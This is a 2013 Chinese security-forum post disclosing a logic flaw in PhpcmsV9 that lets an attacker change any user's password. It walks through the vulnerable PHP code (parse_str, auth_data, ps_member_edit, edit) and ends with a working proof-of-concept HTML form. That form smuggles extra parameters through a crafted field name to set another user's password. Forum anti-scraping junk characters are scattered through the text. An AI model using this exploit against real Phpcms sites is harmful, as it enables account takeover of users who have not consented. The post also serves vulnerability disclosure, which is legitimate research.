找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1791|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
3 @$ B. W$ ]7 I4 Q. R' D: N; i- P0 ^: V3 A9 C# p( V: P4 B$ s
# z" t' `+ D' f+ w5 p
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);4 K, F; F& ?" Q# {5 D$ d

# }* N' b, _5 q, ^. [) X在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
% I1 A+ n4 g  \: t7 V1 L0 h
8 g( D( I1 @# z# [( I% L7 R2 a! a' _我把它留给了你们。% n0 _& V6 I, r4 U2 p3 u; G
不知道你们发现了它没有。( J& p% D8 c7 e' C; b1 I* q: a/ X

+ V# S. J" Q/ t- _: `7 f! V& o3 O我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。& z: w7 z+ k+ E8 k% u/ q5 x

& O/ l5 _3 Y% Z5 @所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
7 f" i% Q7 b2 R% Y1 S/ h1 n) e
* |" V2 _6 c2 w也就是
; J3 z1 C1 `8 C% o& z& d9 Y+ ?9 W9 H" R$ A0 v, d. v; V+ p
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
. E2 Z, S7 ~! {9 k
% K& P$ W/ X2 ?6 x要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
6 n- r) ~6 ]! [# @8 m# z- U- i0 ~2 n( B: o/ K# I7 [# D
6 w1 [/ t9 k0 }( c' {- C8 C+ p% a
其实我们有这样的机会,看看代码,如下:
! I5 N; X# }$ l8 |9 D3 T' |$ C) k, n: n  A1 ]) a
* V; R1 N% B6 N7 D+ ^
public function auth_data($data) {4 K: i9 g- ]) W
                $s = $sep = '';
$ [; {  A& B- O# ~                foreach($data as $k => $v) {# Z& N$ U- T7 J" \# L" i4 X9 g
                        if(is_array($v)) {
+ O$ q- {7 {) F8 w, o8 R  d                                $s2 = $sep2 = '';
' Q- f' z8 |) ^                                foreach($v as $k2 => $v2) {
3 ?- P4 N/ T" `2 g                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);5 H+ M& R, G. s1 M7 V
                                        $sep2 = '&';. n2 }" i1 w9 c$ ^6 [7 I
                                }. `; ]1 _: z! e) e, C
                                $s .= $sep.$s2;
; Y4 L$ e' N: a; Q8 f# R; M# Z                        } else {
6 @/ R* H! V8 p; j! d. N" i                                $s .= "$sep$k=".$this->_ps_stripslashes($v);( x, w: N( z- e' t/ L
                        }6 u* o2 L( Q; O+ ^
                        $sep = '&';+ `2 x5 q8 f5 ]
                }
9 e9 E2 b' p" Y8 d3 \& h3 M% h6 b$ D. J  |
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
$ }7 b7 I. o# p                return $auth_s;
8 z# h; c( l) P/ ^' ?. s; J        }
) B& q9 n: Y' t  J) {% G2 V3 C
' }' V3 Y9 {& G  @6 z' \* t可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。$ g! A, O- W0 P3 y3 w5 ]- @' {0 U& |
7 V, C5 P6 H: D: ?2 p* I
举个例子
/ d' \$ z% R+ v( n/ j% r" v: _& W/ j0 u) z
$a[aaa=a&bbb] = 'a';: q6 r" m) m3 @7 f# U
6 {6 d: I; E+ {# e
会变成aaa=a&bbb=a: Q+ C2 A" j5 {' j
0 d+ H3 A$ |4 c: N* T0 q
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。  w. s- _. a7 A( I" m! _

0 H4 h1 x4 t! \1 M( t% [, i* w& B这个时候,我们可以再去看一个函数。' g0 U# Y' K0 `3 y
% ?6 w4 {+ e* j" ^3 r: _
就在这个文件内:% e' a" d% G6 y' M

4 ]5 u( I* ]5 H/ U  i6 S! j9 S0 O! W/ e* q9 }
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
: u; |* C. P# n& S' |                if($email && !$this->_is_email($email)) {
! b& V0 C$ @- }- y0 G( @5 `                        return -4;
- T/ i  y8 B$ l9 Z( G6 _$ y8 y                }0 u) j# l' S" m7 ?+ ^
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
. O' @/ `( P2 `" o; p4 h        }
$ o& x" F. j3 ~& q4 t. T* S* R  s' K& o: g2 Y
这是向通行证发了这样一个请求。
( R) g1 O/ k$ }( v; t  l, i% t) e4 u; p6 [
我们再跟到通信证代码里去看看,就会有所发现。
/ k/ ^0 [8 E" m, t3 i) o" r- ?% s, q/ J9 m) U$ q

( Y# p1 t' |2 A; \8 m: V* l/ _public function edit() {
1 P# y8 V( _7 {' w! V" ?//能省就省,太长了不是吗?1 _# B) N- o" q4 Q- _/ _
& k. A! u3 o1 y8 ^4 m5 l  M
if($this->username) {  `+ A, E& I. \
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
+ y, f2 P2 N; t                                $res = $this->db->update($data, array('username'=>$this->username));# A5 l- o+ K0 ^( @2 c/ E6 S# m- X
                        } else {# D6 z/ P! J) i
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);6 k& |' {8 ~  S- V( L7 R: u& D
                                $res = $this->db->update($data, array('uid'=>$this->uid));& s. z6 T- j; N9 u, _* `+ w
                        }4 q; G' ]( q8 D$ K: Z& ~

/ q! T$ _: T6 @( G好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
3 E+ D& L1 O. ^( [2 G; u) }& {' @9 \4 [. ^  @$ q3 C( _2 M# P9 u
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
  I) K9 w& L2 u6 m* V1 u! s# A/ R0 g8 e5 M
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
2 X$ s8 J4 h& b: o
" N) E  n- t3 z. d+ p) q6 p/ p* f, W我当然找到了:
4 H; Q" f4 s; Dphpcms9/phpcms/modules/member/index.php: a% G8 Q. T# @: L* r
2 L& s) u, X% u. x' T1 S
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
7 @3 @9 I3 C" P- D4 e/ ?; U/ E. d. ~% l  q# {$ q6 [* r: N3 l- {
然后就没有然后了。
$ ?# _5 n& ?. {
  J* g) K) O& D& e* C9 N3 L5 L  h; l<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">5 s3 ^; w! X+ d* ~. l
                                <table width="100%" cellspacing="0" class="table_form">
8 N$ I) v; p( q0 v                                        <tr>
6 {# X" S+ h3 {- u2 j3 |5 g; P) \                                                <th width="80">邮箱:</th>        7 x, V+ O* W/ F5 M# \* W
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
0 Z! Q* Y3 ?8 c/ r* ~$ n! e                                        </tr>
4 ]9 D8 D# X% y, Z                                        <tr>
' J" U! P% D8 o1 X9 |* i, N                                                <th width="80">原密码:</th>        
3 k: O8 R9 ~4 y$ v" d! m* `) }                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>3 x3 g9 b2 d. c* e& m' C
                                        </tr>8 D+ o& |9 D! i! o2 ~. e
                                        <tr>+ f0 i3 P$ D( i
                                                <th>新密码:</th>
& _! }6 x$ h7 @; V% w9 G% i                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>/ _  n0 U* L0 N' Z
                                        </tr>
* W/ n# y  X* d( M! J                                        <th></th>
; B. x* y% B7 [; E5 O* W' R* L                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>  H: v. i; e  a0 _9 g& p, ]
                                        </tr>8 U0 B; ?* w) _3 |6 e  h
                                </table>
6 m+ q2 k+ f9 m0 `3 e) e3 u1 @8 u3 l4 Y* b
                               
! R. X  K1 p: T1 I9 {/ Z: B                        </form>
- q3 r, i- y% H% E; u) Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表